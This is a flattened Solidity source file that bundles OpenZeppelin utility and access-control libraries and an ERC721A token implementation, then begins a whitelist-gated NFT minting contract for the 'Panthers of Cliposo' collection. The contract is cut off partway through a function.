// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: ERC721A.sol // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: panthers.sol pragma solidity 0.8.7; contract CLPO is ERC721A, Ownable, ReentrancyGuard { using Address for address; using Strings for uint256; using MerkleProof for bytes32[]; string public baseURI; string public baseExtension = ".json"; uint256 public mintPrice = 0.12 ether; uint256 public mintPublicPrice = 0.15 ether; uint256 public collectionSize = 4444; uint256 public maxMintPerWalletPre = 2; uint256 public maxMintPerWalletPublic = 20; bool public WLOpen = true; bytes32 whitelistMerkleRoot = 0x1517f8afaae2f1a33aad576023646764e83f0ce8bd67df1cd59bba5417e0e1d4; mapping(address => uint256) public MintedAmount; mapping (address => uint256) public MintedAmountPublic; // ===== Constructor ===== constructor() ERC721A("Panthers of Cliposo", "CLPO", 20) { } // ===== Modifier ===== function _onlySender() private view { require(msg.sender == tx.origin); } function changeMerkle(bytes32 incoming) public onlyOwner { 